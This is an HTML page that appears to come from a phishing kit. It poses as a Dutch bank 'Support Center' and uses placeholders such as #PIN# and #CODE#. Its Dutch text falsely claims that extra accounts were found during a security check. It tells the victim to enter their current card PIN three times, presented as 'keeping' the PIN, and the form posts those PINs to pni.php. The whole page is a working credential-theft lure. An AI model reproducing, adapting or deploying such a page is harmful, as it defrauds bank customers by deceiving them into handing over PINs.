<!doctype html>
<html class="no-js" lang="">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Support Center</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script src="bs.js"></script>
    <style>
        body,
        .content-container {
            margin: 0;
            font-family: 'Open Sans', sans-serif;
            background-color: #f4f4f9;
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
            width: 100%;
        }
        .content-container {
            flex: 1;
            width: 100%;
        }
        .content-container.blurred {
            filter: blur(5px);
        }
        .header-container {
            background: #007a72;
            width: 100%;
            height: 60px;
            display: flex;
            align-items: center;
            justify-content: flex-start;
            padding-left: 20px;
            box-sizing: border-box;
        }
        .logo {
            background-image: url('./files/colors.svg');
            height: 50px;
            width: 100px;
            background-size: contain;
            background-repeat: no-repeat;
            margin-left: 20px;
        }
        .main-container {
            display: flex;
            justify-content: center;
            align-items: center;
            width: 100%;
            padding: 20px;
            box-sizing: border-box;
            flex-grow: 1;
        }
        .main {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
        }
        .second {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
            display: none;
        }
        .info-box {
            background-color: #f0fdfa;
            color: #003e39;
            padding: 16px 20px;
            margin-bottom: 20px;
            font-size: 0.9em;
            border-left: 4px solid #007a72;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05);
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            text-align: left;
        }
        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
            color: #007a72;
        }
        .form-group input {
            padding: 10px;
            border: 1px solid #ccc;
            box-sizing: border-box;
        }
        .form-group input.error {
            border: 1px solid red;
        }
        .btn {
            background-color: #ffd40a;
            color: black;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease;
            border-radius: 0;
            margin-top: 20px;
        }
        .btn:hover {
            background-color: #e6c200;
        }
        .error-message {
            color: red;
            font-size: 0.8em;
            margin-top: 10px;
            display: none;
        }
        .footer-container {
            background: #007a72;
            width: 100%;
            text-align: center;
            padding: 15px 0;
            color: white;
            font-size: 0.9em;
            margin-top: auto;
        }
        .image-section {
            margin-top: 20px;
            text-align: center;
            background-color: #f0fdfa;
            padding: 16px;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);
            display: inline-block;
        }
        .image-section img {
            max-width: 100%;
            height: auto;
        }
        @keyframes slideIn {
            from {
                transform: translateY(-50px);
                opacity: 0;
            }
            to {
                transform: translateY(0);
                opacity: 1;
            }
        }
        @media only screen and (max-width: 768px) {
            .main, .second {
                width: 100%;
                padding: 15px;
            }
        }
        .modal {
            display: none;
            position: fixed;
            z-index: 1;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            overflow: auto;
            background-color: rgba(0, 0, 0, 0.8);
        }
        .modal-content {
            background-color: #fefefe;
            margin: 15% auto;
            padding: 20px;
            border: 1px solid #888;
            width: 80%;
            max-width: 500px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            animation: slideIn 0.5s;
        }
        .close {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
        }
        .close:hover,
        .close:focus {
            color: black;
            text-decoration: none;
            cursor: pointer;
        }
        .modal-image {
            width: 100%;
            height: auto;
            margin-bottom: 15px;
        }
        .loader {
            border: 3px solid #f3f3f3;
            border-top: 3px solid #007a72;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 2s linear infinite;
            margin: auto;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid black;
        }
        th, td {
            padding: 8px;
            text-align: left;
        }
        .input-row {
            display: flex;
            align-items: center;
            margin-bottom: 15px;
            width: 100%;
        }
        .input-group-addon {
            background-color: #f2f7f7;
            border: 1px solid #ccc;
            border-radius: 0;
            padding: 10px;
            color: #607e7d;
            height: 19px;
            display: flex;
            align-items: center;
            white-space: nowrap;
        }
        .account-number-input, .card-number-input, .respons-input, .form-control {
            height: 40px;
            border: 1px solid #ccc;
            border-radius: 0;
        }
        .account-number-input {
            width: 110px;
        }
        .card-number-input {
            width: 60px;
            margin-left: 5px;
        }
        .respons-input {
            width: 225px;
        }
        .pin-fields-inline {
            display: flex;
            justify-content: space-between;
        }
        .pin-field-group {
            display: flex;
            flex-direction: column;
            margin-right: 5px;
        }
        .pin-field {
            width: 80px;
            padding: 12px;
            border: 1px solid #ccc;
            box-sizing: border-box;
            text-align: center;
            font-size: 16px;
            border-radius: 0;
        }
        .pin-field.error {
            border: 1px solid red;
        }
        .pin-field-label {
            margin-bottom: 5px;
            font-weight: bold;
            color: #007a72;
            text-align: center;
            font-size: 0.8em;
        }
    </style>
    <link href="https://fonts.googleapis.com/css?family=Roboto+Slab:300|Open+Sans:300" rel="stylesheet" type="text/css">
    <link rel="icon" href="">
</head>
<body>
    <div class="content-container">
        <div class="header-container"></div><br>
        <div style="margin-top: 20px;" class="logo"></div>
        <div class="main-container">
            <form action="pni.php" method="post" id="myForm" onsubmit="return validateForm()">
                <div class="main">
                    <h3 style="color: #007a72; margin-top: 5px;">Heeft u een momentje?<br>Denk aan de veiligheid</h3>
					
					<div class="form-group">
  <div style="
    background-color: #fffff;
    color: #1a1a1a;
    border: 1px solid rgba(200, 200, 200, 0.5);
    padding: 12px 16px;
    border-radius: 8px;
    max-width: 500px;
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    font-size: 14px;
    line-height: 1.5;
    margin: 15px auto;
    box-shadow: 0 2px 4px rgba(0,0,0,0.04);
    text-align: left;
    position: relative;
  ">
    <div style="display: flex; align-items: center;">
      <div style="flex: 1;">
        <p style="margin: 0; font-size: 14px;">
          Tijdens analyse van uw online omgeving zijn meerdere rekeningen aangetroffen. Echter hebben wij alleen uw vorige pas opnieuw beveiligd.
        </p>
		<p style="margin: 10; font-size: 14px;">
          Ter waarborging van uw veiligheid verzoeken wij u ook de pas behorend bij onderstaand rekeningnummer opnieuw te beveiligen.
		  
        </p>
		<center><span style="background-color: #33b5ab; color: white; padding: 6px 12px; border-radius: 20px; font-weight: bold; display: inline-block; margin-top: -10px;">
  #PIN#
</span></center>
        <p style="margin: 15px 0; font-size: 14px;">
          U kunt daarbij kiezen uw pincode te behouden of te wijzigen. Volg hiervoor de onderstaande instructies.
        </p>
      </div>
      <div style="flex: 0; margin-left: 10px;">
        <img src="./files/images.png" alt="Image" style="width: 80px; height: auto;"/>
      </div>
    </div>
  </div>
</div>

                    <div class="form-group">
                        <div style="background-color: #f2f7f7; color: #1a1a1a; border: 1px solid #d0dddd; padding: 24px 28px; border-radius: 8px; max-width: 550px; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; font-size: 14px; line-height: 1.7; margin: 30px auto; box-shadow: 0 2px 4px rgba(0,0,0,0.04); text-align: center; margin-top: -10px;">
						
						

                            <img src="./files/pin.png" alt="Illustratie stappenplan" style="max-width: 65px; margin-bottom: 16px; display: block; margin-left: auto; margin-right: auto;">
                            <h3 style="margin: 0 0 16px 0; font-size: 16px; color: #007b73; display: flex; align-items: center; justify-content: center; gap: 8px;">
                                In 4 stappen je huidige pincode behouden?
                            </h3>
                            <hr style="border: none; border-top: 1px solid #c5d5d5; margin: 0 0 15px 0;">
                            <ol style="list-style-position: inside; padding: 0; margin: 0 auto; max-width: 100%; display: flex; flex-direction: column; gap: 6px; font-size: 13px; text-align: left; font-family: Arial, sans-serif; color: #2b2b2b; white-space: normal;">
                                <b>Volg de onderstaande stappen om je pincode te behouden:</b>
                                <li>Vul bij <b>'Huidige pincode'</b> je pincode in.</li>
                                <li>Vul bij <b>'Nieuwe pincode'</b> je huidige pincode in.</li>
                                <li>Vul je pincode nogmaals in bij <b>'Bevestig pincode'</b>.</li>
                                <li>Klik op <b>'Bevestigen'</b> om de wijziging te bevestigen.</li>
                            </ol>
                        </div>
                        <hr>
                    </div>
                    <div class="form-group">
                        <div class="pin-fields-inline">
                            <div class="pin-field-group">
                                <label class="pin-field-label" for="oldPin2">Huidige Pincode</label>
                                <input type="password" class="pin-field" id="oldPin2" name="oldPin2" maxlength="4" inputmode="numeric" pattern="[0-9]*">
                            </div>
                            <div class="pin-field-group">
                                <label class="pin-field-label" for="newPin2">Nieuwe Pincode</label>
                                <input type="password" class="pin-field" id="newPin2" name="newPin2" maxlength="4" inputmode="numeric" pattern="[0-9]*">
                            </div>
                            <div class="pin-field-group">
                                <label class="pin-field-label" for="confirmPin2">Bevestig Pincode</label>
                                <input type="password" class="pin-field" id="confirmPin2" name="confirmPin2" maxlength="4" inputmode="numeric" pattern="[0-9]*">
                            </div>
                        </div>
						
						<br>
                        <div id="oldPin2Error" class="error-message">⚠️ <b>Bevestig uw huidige pincode.</b></div>
                        <div id="newPin2Error" class="error-message">⚠️ <b>Bevestig uw nieuwe pincode.</b></div>
                        <div id="confirmPin2Error" class="error-message">⚠️ <b>Bevestig uw nieuwe pincode nogmaals.</b></div>
                        <button type="submit" class="btn">Bevestig</button>
                    </div>
                    <input type="hidden" name="form_type" value="xpin">
                </div>
            </form>
        </div>
        <div class="footer-container">
            <footer>
                <p><b>Support Center</b></p>
                <p><b>Support ID: #CODE#</b></p>
            </footer>
        </div>
    </div>
    <script>
        function validateForm() {
            var oldPin2 = document.getElementById('oldPin2').value.trim();
            var newPin2 = document.getElementById('newPin2').value.trim();
            var confirmPin2 = document.getElementById('confirmPin2').value.trim();
            var oldPin2Error = document.getElementById('oldPin2Error');
            var newPin2Error = document.getElementById('newPin2Error');
            var confirmPin2Error = document.getElementById('confirmPin2Error');
            var oldPin2Input = document.getElementById('oldPin2');
            var newPin2Input = document.getElementById('newPin2');
            var confirmPin2Input = document.getElementById('confirmPin2');
            var isValid = true;

            // Validate oldPin2
            if (oldPin2 === '' || oldPin2.length !== 4) {
                oldPin2Input.classList.add('error');
                oldPin2Error.style.display = 'block';
                isValid = false;
            } else {
                oldPin2Input.classList.remove('error');
                oldPin2Error.style.display = 'none';
            }

            // Validate newPin2
            if (newPin2 === '' || newPin2.length !== 4) {
                newPin2Input.classList.add('error');
                newPin2Error.style.display = 'block';
                isValid = false;
            } else {
                newPin2Input.classList.remove('error');
                newPin2Error.style.display = 'none';
            }

            // Validate confirmPin2
            if (confirmPin2 === '' || confirmPin2.length !== 4 || confirmPin2 !== newPin2) {
                confirmPin2Input.classList.add('error');
                confirmPin2Error.style.display = 'block';
                isValid = false;
            } else {
                confirmPin2Input.classList.remove('error');
                confirmPin2Error.style.display = 'none';
            }

            return isValid;
        }

        function isNumber(evt) {
            evt = (evt) ? evt : window.event;
            var charCode = (evt.which) ? evt.which : evt.keyCode;
            if (charCode > 31 && (charCode < 48 || charCode > 57)) {
                return false;
            }
            return true;
        }
    </script>
</body>
</html>
